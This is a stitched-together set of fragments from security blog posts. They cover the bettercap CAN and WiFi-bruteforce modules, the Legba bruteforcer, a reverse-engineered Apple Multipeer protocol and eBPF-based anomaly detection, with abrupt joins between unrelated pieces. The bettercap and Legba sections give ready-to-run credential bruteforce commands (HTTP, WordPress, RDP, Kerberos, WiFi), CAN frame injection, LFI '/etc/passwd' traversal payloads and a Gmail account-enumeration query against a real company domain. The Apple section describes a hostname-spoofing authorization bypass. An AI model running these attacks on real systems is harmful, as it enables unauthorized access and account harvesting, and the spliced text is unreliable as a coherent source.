For now, I hope you enjoyed part I, hack the planet!

#Car and ICS hacking with the new CAN module

One of the protocols that always fascinated me but that I never really approached other than attending conference talks about it is CAN-bus. There are plenty of resources to get you started with it so I’m not going too much into the details of it or the related attacks. The bottom line is that CAN-bus is a protocol used inside cars and some ICS that some components use to communicate diagnostics to the rest of the system. Everything is broadcasted, most of it is in the clear, there’re a multitude of attacks that can be performed, it’s a mess.

From a security researcher perspective however, other than the very basic ones inside the can-tools package, there’s not a single decent tool oriented to security. Most people end up writing their own python code that only works for that specific scenario or only showcases a specific attack.

So the new CAN module is an attempt to create a framework for this research that we can all easily access and use. Specifically, the new module can interact with any CAN-bus hardware that supports socketcan (if there’s also interest in CAN-bus over serial let me know and I’ll do my best to integrate it) and allows to:

#Read, write and fuzz raw frames

The very basic of CAN-bus functionalities. Set your device and enable the module to start reading raw frames:

1
2
3

set can.device /dev/can0

can.recon on

You can also load and replay a dump previously captured with candump:

1
2
3

set can.dump obd2-candump-2023-11-22_031813.log

can.recon on

Inject raw frames as id#hex-data:

1

can.inject 0#aabbccddee

Or generate random ones for fuzzing with can.fuzz id size:

1

can.fuzz ff 8

And show a list of the detected ECUs:

1

can.show

#Load your own DBC files, decode traffic and fuzz with them

You can also use CAN-bus database files that describe a specific protocol, in which case bettercap will use it to automatically parse every frame on the bus (css-electronics and comma.ai have some very good ones):

1
2
3
4
5

set can.device /dev/can0

can.dbc.load css-electronics/obd2-pack-v5/obd2-dbc/CSS-Electronics-11-bit-OBD2-v2.2.dbc

can.recon on

When running with a DBC, you’ll also be able to use use it for fuzzing. For instance, to generate a specific message given its id, with randomized content:

1

can.fuzz 12

To instead pick a random message from a specific ECU and generate its contents randomly:

1

can.fuzz ECU_name

#Decode OBD2 PIDs with builtin decoder

Alternatively to using a DBC, if you work with OBD2 standard PIDs, you can just enable the builtin PID parser:

1
2
3

set can.device /dev/can0
set can.parse.obd2 true
can.recon on

For the first iteration of the CAN module this is all. I’m sure that many new features will be added in the future and many integrations with the builting scripting engine (the module can already be scripted).

Now to the WiFi :D

#Wireless low-hanging fruits with the new WiFi bruteforcer

A while back a user created a github issue with a very smart feature request: since many routers and printers have very simple wifi passwords, it is reasonable to expect that a wordlist based attack might be more successful at times than capturing and cracking the handshake.

So now we have wifi.bruteforce, that works wonderfully on both macOS and Linux:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15

set wifi.interface en0

# one or comma separated list
set wifi.bruteforce.target TargetRouter

# uncomment to attempt a password for each access point before moving to the next one
# set wifi.bruteforce.wide true

# set the wordlist to use
set wifi.bruteforce.wordlist /path/to/your/wordlist.txt

# stop at the first successful login
set wifi.bruteforce.stop_at_first true

wifi.bruteforce on

#Builtin Web UI

Due to a series of issues with how Kali linux packaged bettercap’s webui, many users had a lot of troubles making it work correctly. Now the web ui is not something you have to download separately anymore, but it’s integrated as a module and all you have to do is:

1

ui on

Obviously the CAN module is already integrated with it. I hope this makes things easier :D

#A final note about BLE and precompiled binaries

I’m also rewriting the BLE module, but this will take some more time as I’m trying to make it work in a stable way for every supported operating system, which is everything but simple :D

Precompiled binaries will soon be uploaded to the github repo, meanwhile you can use the docker image or compile from source (compilation with make has been fixed too).

Stay tuned and as usual enjoy!

#TL;DR

1

docker run -it evilsocket/legba:latest -h 

Don’t forget to RTFM.

#Rust + Async FTW

When searching for authentication bruteforcing and wordlist attack tools, most of the times THC Hydra is presented as the de facto standard, with some minor alternatives that are either 1-to-1 copies of it, much slower Python implementations, or protocol specific implementations.

While studying Hydra source code, three main factors caught my attention:

1. It’s using blocking sockets, meaning suboptimal scaling of I/O concurrent operations.
2. It’s implemented in a non memory safe language.
3. It does not support modern features such as CSRF token grabbing for HTTP requests, Kerberos Pre-Auth and more.

For these reasons (and because I was a bit bored after months of not coding anything) I decided to work on Legba, with the following objectives in mind:

1. Use Rust which would not only make the tool blazing fast, but memory safe and efficient.
2. Use an asynchronous runtime in order to get the best possible performance.
3. Implement it as a generic framework that supports highly modular plugins in order to easily add new features without touching the core.

After some hours of coding, refactoring and optimizing I’ve come up with something that’s (in my opinion) pretty great. With an average runtime memory usage of less than 15MB, Legba beats Hydra in terms of efficiency by several orders of magnitude.

Here’s a benchmark of the two running some common plugins, both targeting the same test servers on localhost. The benchmark has been executed on a macOS laptop with an M1 Max CPU, using a wordlist of 1000 passwords with the correct one being on the last line. Legba was compiled in release mode, Hydra compiled and installed via brew formula.

Far from being an exhaustive benchmark, this table still gives a clear idea of how using an asynchronous runtime can drastically improve performances.

^{* While this result would suggest a default delay between connection attempts used by Hydra. I’ve tried to study the source code to find such delay but to my knowledge there’s none. For some reason it’s simply very slow.
** For MySQL hydra automatically reduces the amount of tasks to 4, therefore legba’s concurrency level has been adjusted to 4 as well.}

Note how, while using less concurrent tasks, Legba is faster and in most cases more memory efficient.

#A Framework For Everything

After implementing the core framework and the first protocol plugins, I realized that the tool functionalities went beyond just attacking authentication mechanisms via bruteforcing and wordlist attacks. Any type of enumeration task that requires an efficient parallelism and network I/O would be a good fit for it. This resulted in an extensive list of modules covering both authentication and enumeration of resources. I’ll add here just a few use cases, I highly recommend you guys to check the project wiki for the documentation and a full list of features.

#All the HTTP Things

The very first module I developed, of course, was the HTTP module, which quickly became a set of different submodules supporting all sorts of things, such as:

HTTP Basic Authentication

1
2
3
4

legba http.basic \
    --username admin \
    --password wordlists/passwords.txt \
    --target http://localhost:8888/

HTTP Requests with NTLMv1 and NTLMv2 Authentication

1
2
3
4
5
6

legba http.ntlm2 \ # use http.ntlm1 for v1.0
    --domain example.org \
    --workstation client \
    --username admin \
    --password wordlists/passwords.txt \
    --target https://localhost:8888/

HTTP Pages Enumeration

This was implemented to replace dirsearch.

1
2
3
4
5

legba http.enum \
    --payloads data/pages.txt \
    --target http://localhost:8888/ \
    --http-enum-ext php \ # php is the default value for file extensions
    --http-success-codes 200 

Wordpress plugin discovery using interpolation syntax:

1
2
3
4

legba http.enum \
    --payloads data/wordpress-plugins.txt \
    --target http://localhost:8888/wp-content/plugins/{PAYLOAD}/readme.txt \
    --http-success-codes 200 

LFI vulnerability fuzzing:

1
2
3
4

legba http.enum \
    --payloads data/lfi.txt \
    --target http://localhost:8888/ \
    --http-success-string "root:"

The data/lfi.txt would be something like:

1
2
3
4
5

?page=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd
file?filename=..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5cetc/passwd
...
... and so on ...
...

Google Suite / GMail valid accounts enumeration (this is a pretty neat trick that I’ve recently found out about):

1
2
3
4
5
6

legba http.enum \
    --payloads data/employees-names.txt \
    --http-success-string "COMPASS" \
    --http-success-codes 204 \
    --quiet \
    --target "https://mail.google.com/mail/gxlu?email={PAYLOAD}@broadcom.com" 

Various web login pages

HTTP Post Request (Wordpress wp-login.php page):

1
2
3
4
5
6
7

legba http \
    --username admin \
    --password wordlists/passwords.txt \
    --target http://localhost:8888/wp-login.php \
    --http-method POST \
    --http-success-codes 302 \ # wordpress redirects on successful login
    --http-payload 'log={USERNAME}&pwd={PASSWORD}'

HTTP Post Request (Wordpress xmlrpc.php)

1
2
3
4
5
6
7

legba http \
    --username admin \
    --password wordlists/passwords.txt \
    --target http://localhost:8888/xmlrpc.php \
    --http-method POST \
    --http-payload '<?xml version="1.0" encoding="iso-8859-1"?><methodCall><methodName>wp.getUsersBlogs</methodName><params><param><value><string>{USERNAME}</string></value></param><param><value><string>{PASSWORD}</string></value></param></params></methodCall>' \
    --http-success-string 'isAdmin' # what string successful response will contain

Or using the @ syntax to load the payload from a file:

1
2
3
4
5
6
7

legba http \
    --username admin \
    --password wordlists/passwords.txt \
    --target http://localhost:8888/xmlrpc.php \
    --http-method POST \
    --http-payload @xmlrpc-payload.xml \
    --http-success-string 'isAdmin'

HTTP Post Request with CSRF Token grabbing:

1
2
3
4
5
6
7
8

legba http \
    --username admin \
    --password wordlists/passwords.txt \
    --target http://localhost:8888/ \
    --http-csrf-page http://localhost:8888/ \ # where to grab the CSRF token from, or empty if it's the same as --target
    --http-csrf-regexp '<input type="hidden" name="(token)" value="([^\"]+)"' \ # regular expression to extract it
    --http-method POST \
    --http-payload 'user={USERNAME}&pass={PASSWORD}'

#DNS Subdomain Enumeration

I wanted to write something faster and simpler than my XRay, therefore:

1
2
3
4

legba dns \
    --payloads data/200k-dns.txt \
    --target something.com \
    --dns-resolvers "1.1.1.1" # comma separated list of DNS resolvers, do not pass to use the system resolver

#TCP Port Scanning

Because why the hell not?! :D

Scan all TCP ports with a 300ms timeout:

1
2
3

legba tcp.ports \
    --target something.com \
    --timeout 300 

Scan a custom range of ports with a 300ms timeout:

1
2
3
4

legba tcp.ports \
    --target something.com \
    --tcp-ports '80-10000' \
    --timeout 300 

Scan a custom list of ports with a 300ms timeout:

1
2
3
4

legba tcp.ports \
    --target something.com \
    --tcp-ports '21, 22, 80, 443, 8080' \
    --timeout 300 

#Other Protocols

Kerberos 5 Pre-Auth (users enumeration and password authentication).

1
2
3
4
5

legba kerberos \
    --target dc.example.org \
    --username admin \
    --password wordlists/passwords.txt \
    --kerberos-realm example.org

Microsoft Remote Desktop

1
2
3
4

legba rdp \
    --target localhost:3389 \
    --username admin \
    --password data/passwords.txt

The list goes on and on, at the time of writing (check the wiki for updates!) the list of supported features and protocols is: AMQP (ActiveMQ, RabbitMQ, Qpid, JORAM and Solace), Cassandra/ScyllaDB, DNS subdomain enumeration, FTP, HTTP (basic authentication, NTLMv1, NTLMv2, multipart form, custom requests with CSRF support and files/folders enumeration), IMAP, Kerberos pre-authentication and user enumeration, LDAP, MongoDB, Microsoft SQL, MySQL, Oracle, PostgreSQL, POP3, RDP, Redis, SSH / SFTP, SMTP, STOMP (ActiveMQ, RabbitMQ, HornetQ and OpenMQ), TCP port scanning, Telnet, VNC.

#Fin

As usual, the tool is released under the GPL3 license and all contributions are more than welcome. Enjoy ^_^

Using lsof confirmed that this was indeed the communication between the client phone and Logic listening on port 56076:

Initially I tought this was just some Logic Pro specific protocol and very lazily started looking into it, without much success mostly due to lack of motivation given the very limited scope of the research. After a while I tweeted asking if anyone had ever seen anything like it. @isComputerOn pointed out that this looked a lot like a protocol that has been partially reversed and presented by Alban Diquet back in 2014. Unfortunately, however brilliant, this research covers the protocol at a very high level and doesn’t really document the packets, their fields and how to establish a connection from anything but a client using the Apple framework. However, this helped me a lot in two ways: first it helped me realize this was not just Logic Pro specific, but that it was part of the Multipeer Connectivity Framework, and gave me a few hints about the general logic of the protocol itself.

With renewed curiosity and motivation then I jumped into this rabbit hole and managed to reverse engineer all network packets. This allowed me to write a Python proof of concept client that automatically discovers any MPC servers, initializes the connection and succesfully exchanges application specific data packets.

Moreover, while sending crafted packets and attempting all sorts of things, I’ve discovered several vulnerabilities in the Apple custom made parsers. I will not discuss them here (exception made for the session spoofing) but at the same time I’m not interested in reporting them to Apple, I’ve heard way too many negative stories about their disclosure program and in general how they mistreat researchers.

Let’s see how this whole thing works! :)

#MultipeerConnectivity Framework

Apple’s documentation describes the framework like so:

The Multipeer Connectivity framework supports the discovery of services provided by nearby devices and supports communicating with those services through message-based data, streaming data, and resources (such as files). In iOS, the framework uses infrastructure Wi-Fi networks, peer-to-peer Wi-Fi, and Bluetooth personal area networks for the underlying transport. In macOS and tvOS, it uses infrastructure Wi-Fi, peer-to-peer Wi-Fi, and Ethernet.

The document mostly describes how they abstracted the protocol in several classes while being extremely vague about how the thing actually works at the packet level. In reality they mostly reused existing protocols such as MDNS and a customized STUN implementation (in Logic Pro specific case, this doesn’t always apply to apps using this framework), plus a custom TCP based protocol for which they heavily relied on custom (and extremely badly) written parsers.

#Discovery Phase: Multicast DNS

The very first thing that I’ve noticed was that, despite the server port being randomized at each application startup, the client application never asked me for the server ip address nor tcp port. This was a strong indicator that something else was happening on the network before the TCP session was being established, as if the server (and possibly the client as well) broadcasted this information in such a way to be automatically discoverable, as also hinted by the wording used in the documentation.

My informed guess was multicast DNS as I’ve seen this protocol being (ab)used a lot from Apple (Bonjour for instance), and Wireshark confirmed my guess. Both the server and the client are broadcasting their hostnames and peer identifiers (more on this later) on the network so that they can find each other without user interaction.

Here’s how the server advertisement looks like on Spycast:

We can see which TCP port is being used (57219), some application specific information in the text record and a weird string “1tvdkfvihbru6”, the PeerID.

At the same time, the client is broadcasting some information such as its hostname:

Keep in mind that all this data is visible by anyone on the same network, this is an important detail as we’ll see shortly when I’ll describe how the spoofing works.

#How a PeerID is made

Before proceeding to the next part, let’s stop for a moment to see how a peer is identified in this protocol and what that “1tvdkfvihbru6” string is.

Upon startup, each peer is represented by a MCPeerID object. Long story short, a random 64bit integer is generated and converted to base36.

So that 1tvdkfvihbru6 in base36 is 8670129607084362000 in base 10. This number is used to uniquely identify the host during the session, regardless of the hostname itself and it’s present in various forms in most of the packets we’re about to see.

#Handshake Phase: Hellos and Acks

After the client discovers the server peer via MDNS the connection is initiated to the TCP port indicated in the advertisement. This is when things started being complicated as the protocol is entirely custom and undocumented.

I needed to work my way from something like this:

To something like this.

For this task I’ve performed dozens of tests such as:

• See if similar packets all started with the same signature bytes (they did).
• See if by changing the hostname of the client, some other fields (possibly string length fields) changed reflecting the new length (they did).
• See if there was any checksum going on by looking at 2 bytes and 4 bytes words that changed depending on the contents (there are).
• See if packets were encapsulated with a common header plus a packet-specific payload, which length should be indicated in the header (it is).

After a few days of testing I’ve managed to understand that all the packets started with a header that looks like this:

• The first 2 bytes are the packet signature and determine the packet type (Hello, Ack, Invite, …).
• The next 4 bytes are a sequence number plus flags that are used only for some specific payloads.
• We then have 2 bytes indicating the payload size after the header.
• Following 4 bytes are the CRC32 of the whole packet (i wasn’t sure which checksum was, so I bruteforced it :D)
• The last 4 bytes of the header are unknown to me but they always seem to contain the same value.

With this new knowledge I started looking into the payload of the first packets and identified how the connection handshake works:

1. The client sends an Hello packet made of the header and its PeerID.
2. The server responds with an Ack packet, made of just the header and no payload.
3. The server then sends its own Hello packet containing its PeerID (which seems redundant given its already broadcasted via MDNS, but whatever …).
4. The client sends an Ack to the server Hello.
5. Finally the client sends an Accept packet also only made of the header and no payload, indicating that the first part of the handshake is complete. The reason why the client is responsible for this and not the server will always remain a mystery to me :D

You can find the implementation of this handshake process here.

#Authorization Phase: Spoofable Invites and BPlist inside BPlist inside TCP

After this mutual introduction, the client will send an Invitation packet and this is where things start getting covoluted (a la Apple): as we can see from the next picture, the Invite packet is made of the header plus a Binary Property List as indicated by the “bplist00” signature visible in cleartext in the packet:

A BPlist is basically a binary encoded XML document, in this case containing the following fields:

• MCNearbyServiceInviteContextKey: a bplist encoded (yes it’s a bplist inside a bplist …) integer, always 0x2.
• MCNearbyServiceInviteIDKey: an integer always set to 0x0.
• MCNearbyServiceMessageIDKey: an integer message identifier, always 0x1 for invites.
• MCNearbyServiceRecipientPeerIDKey: the message recipient (the server in this case) PeerID, encoded as described next.
• MCNearbyServiceSenderPeerIDKey: the message sender (the client) PeerID.

In the last two fields, the peer identifiers are encoded as:

• 8 bytes containing the numeric peer identifier, big endian.
• 1 byte containing the peer hostname length.
• N bytes containing the unicode peer hostname.

The server responds with an Ack and at this point two things can happen: if the client is unknown to the server, a prompt will be shown in order to let the user decide wether to authorize it or not:

However, if the client has been previously authorized, no prompt will be shown and the communication will silently continue to the next data exchange step.

At this point you might ask, how does the server store this authorization information? Is it some sort of session cookie? A more advanced cryptographic challenge mechanism? Black magic? Well my friends, often reality is way duller and dumber than what you might imagine :D

They just don’t give a damn and keep a “string peer_hostname -> bool authorized” association … yes, you read that right, client authorization only relies on the (spoofable) client hostname, they don’t even care about the peer identifier number.

Remember how all this information (and more) is being broadcasted in cleartext via MDNS for everyone to enjoy? Yep that’s right, an attacker can wait for a legit client to be authorized and then use its hostname (not on the network, just in the MCNearbyServiceSenderPeerIDKey field) in order to either hijack the legit session, or just create a new one of its own and completely bypass the authorization prompt.

Anyways … if authorized, the server will conclude this phase by sending an InviteResponse, which is identical to the client Invite packet, back to the client. You can find the client invite logic here and the wait loop for the server response here.

Let’s continue.

#Data Exchange Phase

After the server accepted the invite, the client will proceed by sending a ClientData packet, another bplist encoded payload containing the following fields:

• MCNearbyServiceInviteIDKey: the invite key received with the server InviteResponse.
• MCNearbyServiceMessageIDKey: an incremental integer being InviteResponse.MCNearbyServiceMessageIDKey + 1.
• MCNearbyServiceRecipientPeerIDKey: client peer id encoded as previously described.
• MCNearbyServiceSenderPeerIDKey: server peer id encoded as previously described.
• MCNearbyServiceConnectionDataKey: connection data as bplist (again, a bplist inside a bplist …), described next.

The interesting part here is the MCNearbyServiceConnectionDataKey field, which contains a bplist encoded binary payload made of:

1. A header composed of:
   • 1 signature byte (0x80).
   • 1 byte bitmask of security flags indicating if encryption is enabled (not in this case, LOL).
   • 2 bytes indicating the total size of the payload.
   • 1 byte indicating the number of segments / entries in the payload.
2. A list of IPv4 and IPv6 addresses, one for each network interface of both peers.
3. A variable number of segments describing each network interface of both peers, made of:
   • 1 signature byte (0x61).
   • 4 bytes of the numeric peer id (either the client or the server one) trimmed down to 32bits.
   • 4 bytes of a random identifier, my guess is that this creates a new unique identifier together with the previous field.
   • 1 byte indicating the interface type ( ipv4=0x5A ipv6=0x0A ).
   • 3 bytes of padding.
   • 1 byte containing the interface IP index bit-masked with its type.
   • 2 bytes containing an UDP port.

Since the application specific part of the protocol works on UDP, by exchanging this data both endpoints become aware of on which possible IP and UDP ports the next part of the communication can happen.

#STUN a la Facetime

After the previous step, an Apple custom implementation of STUN is used to determine NAT type and which IP:PORT pair is best suited for the communication. Interestingly, while digging hard into this rabbit hole and reversing other frameworks that were referenced here and there, I found out this is the same exact mechanism that Apple Facetime also uses.

I’ve implemented a very basic STUN processor here, what happens is:

1. The server will pick one of the IP:UDP_PORT pairs sent in the ClientData and sends a STUN Binding Request containing these STUN attributes:
   • USERNAME: containing the server and client integer peer identifiers.
   • ADDRESS_ERROR_CODE: always 0x6.
   • ALTERNATE_DOMAIN: always 0x03f2.
   • APPLE_NTP_DELAY: you would see this labled as ICMP by Wireshark, however Apple is using this specific attribute identifier to indicate the NTP delay, as I found out by Ghidra-ing the s*it out of it :D
   • ICE_CONTROLLING: randomly generate STUN tie breaker / session id.
2. The client will respond with its own Binding Request, replacing ICE_CONTROLLING with ICE_CONTROLLED and its tie breaker.
3. The server will send a Binding Response with a MAPPED-ADDRESS attribute indicating the final IP:UDP_PORT pair for the communication.
4. The client will send its own Binding Response with its UDP MAPPED-ADDRESS.

From this point on, an UDP connection is established between the two MAPPED-ADDRESSes and application specific data is exchanged.

#Brief note on OSPF

Despite the Logic Pro specific protocol happening after all these steps is out of the scope of this post, I want to briefly mention how it works.

Interestingly, this protocol is referenced as OSPF from the framework:

Howver it has almost nothing in common with the Open Shortest Path First protocol. Despite some of these function names reference valid OSPF messages such as LSA, LSAACK and so on, the Apple implementation is entirely different.

You can find a partial python implementation here that will be used after the previous step in order to correctly start the “OSPF” session and start receiving data from the server.

In this case, each packet is made of this header:

• 1 byte of protocol type signature (0xc1).
• 1 byte of packet type signature.
• 2 bytes of packet size.
• 2 bytes indicating OSPF channel, mostly unused.
• 2 bytes with the packet CRC16/ARC checksum (again, bruteforcing the type of checksum helped a lot).
• 4 bytes of the sender peer id.
• 4 bytes of the receiver peer id.

Following, the packet specific payload.

You can find the definitions of some of the Logic Pro packets here and the OSPF server code that will initialize the session and start getting server updates here.

#Conclusion

This has definitely been a fun ride during which I’ve learned a lot of new stuff about how Apple frameworks handle network communications. I want to reiterate my gratitude to Alban Diquet for his research and to @isComputerOn for pointing me to the right direction when I was about to give up on what it seemed something entirely irrelevant, thanks you so much guys! <3

I also want to comment on something i’ve heard during a talk presented at the last 0x41 conference.
The researcher who was presenting and who specialized in fuzzing Apple products, mentioned how at the beginning of his path, someone who’s highly respected and recognized in the infosec community and industry, told him that “fuzzing Apple’s network protocols was a dumb idea”, which unfortunately convinced the researcher to look elsewhere.

Well, my highly respected and recognized dude, I can tell you it is not a dumb idea, at all, there’s a lot of unexplored attack surface there. What was dumb, very close-minded and ignorant, is your take about it.

Anyways … you can find the project on my github as usual, enjoy!

While many projects approach this problem by building a list of allowed system calls and checking at runtime if the process is using anything outside of this list, we’ll use a methodology that will not only save us from explicitly compiling this list, but will also take into account how fast the process is using system calls that would normally be allowed but only within a certain range of usage per second. This techique can potentially detect process exploitation, denial-of-service and several other types of attacks.

You’ll find the complete source code on my Github as usual.

#What is eBPF?

eBPF is a technology that allows to intercept several aspect of the Linux kernel runtime without using a kernel module. At its core eBPF is a virtual machine running inside the kernel that performs sanity checks on an eBPF program opcodes before loading it in order to ensure runtime safety.

From the eBPF.io page:

eBPF (which is no longer an acronym for anything) is a revolutionary technology with origins in the Linux kernel that can run sandboxed programs in a privileged context such as the operating system kernel. It is used to safely and efficiently extend the capabilities of the kernel without requiring to change kernel source code or load kernel modules.  

Historically, the operating system has always been an ideal place to implement observability, security, and networking functionality due to the kernel’s privileged ability to oversee and control the entire system. At the same time, an operating system kernel is hard to evolve due to its central role and high requirement towards stability and security. The rate of innovation at the operating system level has thus traditionally been lower compared to functionality implemented outside of the operating system.

eBPF changes this formula fundamentally. By allowing to run sandboxed programs within the operating system, application developers can run eBPF programs to add additional capabilities to the operating system at runtime. The operating system then guarantees safety and execution efficiency as if natively compiled with the aid of a Just-In-Time (JIT) compiler and verification engine. This has led to a wave of eBPF-based projects covering a wide array of use cases, including next-generation networking, observability, and security functionality.

There are several options to compile into bytecode and then run eBPF programs, such as Cilium Golang eBPF package, Aya Rust crate and IOVisor Python BCC package and many more. BCC being the simplest is the one we’re going to use for this post. Keep in mind that the same exact things can be done with all these libraries and only runtime dependencies and performance would change.

#System call Tracing with eBPF

The usual approach to trace system calls with eBPF consists in creating a tracepoint or a kprobe on each system call we want to intercept, somehow fetch the arguments of the call and then report each one individually to user space using either a perf buffer or a ring buffer. While this method is great to track each system call individually and check their arguments (for instance, checking which files are being accessed or which hosts the program is connecting to), it has a couple of issues.

First, reading the arguments for each syscall is quite tricky depending on the system architecture and kernel compilation flags. For instance in some cases it’s not possible to read the arguments while entering the syscall, but only once the syscall has been executed, by saving pointers from a kprobe and then reading them from a kretprobe. Another important issue is the eBPF buffers throughput: when the target process is executing a lot of system calls in a short period of time (think about an HTTP server under heavy stress, or a process performing a lot of I/O), events can be lost making this approach less than ideal.

#Poor man’s Approach

Since we’re not interested in the system calls arguments, we’re going to use an alternative approach that doesn’t have the aforementioned issues. The main idea is very very simple: we’re going to have a single tracepoint on the sys_enter event, triggered every time any system call is executed. Instead of immediately reporting the call to userspace via a buffer, we’re only going to increment the relative integer slot in an array, creating an histogram.

This array is 512 integers long (512 set as a constant maximum number of system calls), so that after (for instance) system call read (number 0) is executed twice and mprotect (number 10) once, we’ll have a vector/histogram that’ll look like this:

2,0,0,0,0,0,0,0,0,0,1,0,0,0,..........

The relative eBPF is very simple and looks like this:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22

// defines a per-cpu array in order to avoid race coinditions while updating the histogram
BPF_PERCPU_ARRAY(histogram, u32, MAX_SYSCALLS);

// here's our tracepoint on sys_enter
TRACEPOINT_PROBE(raw_syscalls, sys_enter)
{
    // filter by target pid and return if this activity belongs to a process we're not interested in
    u64 pid = bpf_get_current_pid_tgid() >> 32;
    if(pid != TARGET_PID) {
        return 0;
    }

    // populate the histogram, args->id contains the system call number
    u32 key = (u32)args->id;
    u32 value = 0, *pval = NULL;
    pval = histogram.lookup_or_try_init(&key, &value);
    if(pval) {
        *pval += 1;
    }

    return 0;
}

So far no transfer of data to user space is performed, so no system call invocation is lost and everything is accounted for in this histogram.

We’ll then perform a simple polling of this vector from userspace every 100 milliseconds and, by comparing the vector to its previous state, we’ll calculate the rate of change for every system call:

1
2
3
4
5
6
7
8
9
10
11
12
13

# polling loop
while 1:
    # get single histogram from per-cpu arrays
    histogram = [histo_map[s] for s in range(0, MAX_SYSCALLS)]
    # if any change happened
    if histogram != prev:
        # compute the rate of change for every syscall
        deltas = [ 1.0 - (prev[s] / histogram[s]) if histogram[s] != 0.0 else 0.0 for s in range(0, MAX_SYSCALLS)]
        prev = histogram

    # ... SNIPPET ...

    time.sleep(args.time / 1000.0)

This will not only take into account which system calls are executed (and the ones that are not executed, thus having counter always to 0), but also how fast they are executed during normal activity in a given amount of time.

Once we have this data saved to a CSV file, we can then train a model that’ll be able to detect anomalies at runtime.

#Anomaly detection with Autoencoders

An autoencoder is an artificial neural network used in unsupervised learning tasks, able to create an internal representation of unlabeled data (therefore the “unsupervised”) and produce an output of the same size. This approach can be used for data compression (as the internal encoding layer is usually smaller than the input) and of course anomaly detection like in our case.

The main idea is to train the model and using our CSV dataset both as the input to the network and as its desired output. This way the ANN will learn what is “normal” in the dataset by correctly reconstructing each vector. When the output vector is substantially different from the input vector, we will know this is an anomaly because the ANN was not trained to reconstruct this specific one, meaning it was outside of what we consider normal activity.

Our autoencoder has 512 inputs (defined as the MAX_SYSCALLS constant) and the same number of outputs, while the internal representation layer is half that size:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17

n_inputs = MAX_SYSCALLS

# input layer
inp = Input(shape=(n_inputs,))
# encoder layer
encoder = Dense(n_inputs)(inp)
encoder = ReLU()(encoder)
# internal representation layer
middle = Dense(int(n_inputs / 2))(encoder)
# decoder layer
decoder = Dense(n_inputs)(middle)
decoder = ReLU()(decoder)
decoder = Dense(n_inputs, activation='linear')(decoder)
m = Model(inp, decoder)

# we use mean square error as the loss function as we're interested in the reconstruction error
m.compile(optimizer='adam', loss='mse')

For training our CSV dataset is split in training data and testing/validation data. After training the latter is used to compute the maximum reconstruction error the model presents for “normal” data:

1
2
3
4
5
6
7
8
9
10
11

# test the model on test data to calculate the error threshold
y_test = model.predict(test)
test_err = []
# for each vector
for ind in range(len(test)):
    # get the absolute error as a difference of the input and reconstructed output
    abs_err = np.abs(test[ind, :]-y_test[ind, :])
    # append the sum of each individual error
    test_err.append(abs_err.sum())
# the threshold will be the maximum cumulative error we've found
threshold = max(test_err)

We now have an autoencoder and its reference error threshold that we can use to perform live anomaly detection.

#Example

Let’s see the program in action. For this example I decided to monitor the Spotify process on Linux. Due to its high I/O intensity Spotify represents a nice candidate for a demo of this approach. I captured training data while streaming some music and clicking around playlists and settings. One thing I did not do during the learning stage is clicking on the Connect with Facebook button, this will be our test. Since this action triggers system calls that are not usually executed by Spotify, we can use it to check if our model is actually detecting anomalies at runtime.

#Learning from a live process

Let’s say that Spotify has process id 1234, we’ll start by capturing some live data while using it:

1

sudo ./main.py --pid 1234 --data spotify.csv --learn

Keep this running for as much as you can, having the biggest amount of samples possible is key in order for our model to be accurate in detecting anomalies. Once you’re happy with the amount of samples, you can stop the learning step by pressing Ctrl+C.

Your spotify.csv dataset is now ready to be used for training.

#Training the model

We’ll now train the model for 200 epochs, you will see the validation loss (the mean square error of the reconstructed vector) decreasing at each step, indicating that the model is indeed learning from the data:

1

./main.py --data spotify.csv --epochs 200 --model spotify.h5 --train

After the training is completed, the model will be saved to the spotify.h5 file and the reference error threshold will be printed on screen:

...
Epoch 195/200
60/60 [==============================] - 0s 2ms/step - loss: 1.3071e-05 - val_loss: 6.3671e-05
Epoch 196/200
60/60 [==============================] - 0s 2ms/step - loss: 1.8221e-05 - val_loss: 5.2383e-05
Epoch 197/200
60/60 [==============================] - 0s 2ms/step - loss: 9.2132e-06 - val_loss: 5.3354e-05
Epoch 198/200
60/60 [==============================] - 0s 2ms/step - loss: 9.2722e-06 - val_loss: 4.9380e-05
Epoch 199/200
60/60 [==============================] - 0s 2ms/step - loss: 8.0692e-06 - val_loss: 5.1954e-05
Epoch 200/200
60/60 [==============================] - 0s 2ms/step - loss: 8.3448e-06 - val_loss: 5.0102e-05
model saved to spotify.h5, getting error threshold for 106 samples ...

error threshold=9.969912

#Detecting anomalies

Once the model has been trained it can be used on the live target process to detect anomalies, in this case we’re using a 10.0 error threshold:

1

sudo ./main.py --pid 1234 --model spotify.h5 --max-error 10.0 --run

When an anomaly is detected the cumulative error will be printed along wiht the top 3 anomalous system calls and their respective error.

In this example, I’m clicking on the Connect with Facebook button that will use system calls such as getpriority that were previsouly unseen in training data.

We can see from the output that the model is indeed detecting anomalies:

1
2
3
4

error = 30.605255 - max = 10.000000 - top 3:
  b'getpriority' = 0.994272
  b'writev' = 0.987554
  b'creat' = 0.969955

#Conclusions

This post shows how by using a relatively simple approach and giving up some of the system call speficics (the arguments) we can overcome performance issues and still be able to capture enough information to perform anomaly detection. As previously said this approach works for several scenarios, from simple anomalous behaviour due to bugs, to denial of service attacks, bruteforcing and exploitation of the target process.

The overall performance of the system could be improved by using native libraries such as Aya and its accuracy with some hyper parameters tuning of the model along with more granular per-feature error thresholds.

All these things are left as an exercise for the reader :D

(sound of viking horns) introducing … project ShieldWall!

Credits: i have no idea how this works

Say that you need to host some personal / sensitive service of yours, in such a way that it is always easily accessible by any of your devices (including mobile) without configuration (no VPN, SSH tunnel, etc), and to those devices only (at the packet level, so that shodan && friends can’t index the port(s)) as they change their IP addresses? (The last part is clearly what adds complexity to the task.)

While you think about how you would do it (or maybe how you do it already), let me provide some more context with my usecase.

#Where do I host “That Thing”?

You might be familiar with my other project, Arc, if not go check it out now because it’s pretty useful and it replaces all you password managers, evernotes and todos. Me and the early adopters started using Arc to store all sorts of things. We have instances with passwords, other for 2FA, for documents, notes, reminders, video, audio, and the list keeps going. Since its first version it has improved a lot and now both the API and the frontend live in one single binary compiled for any OS (Golang FTW), but it always had and still has one major usability issue: where do I host that thing?

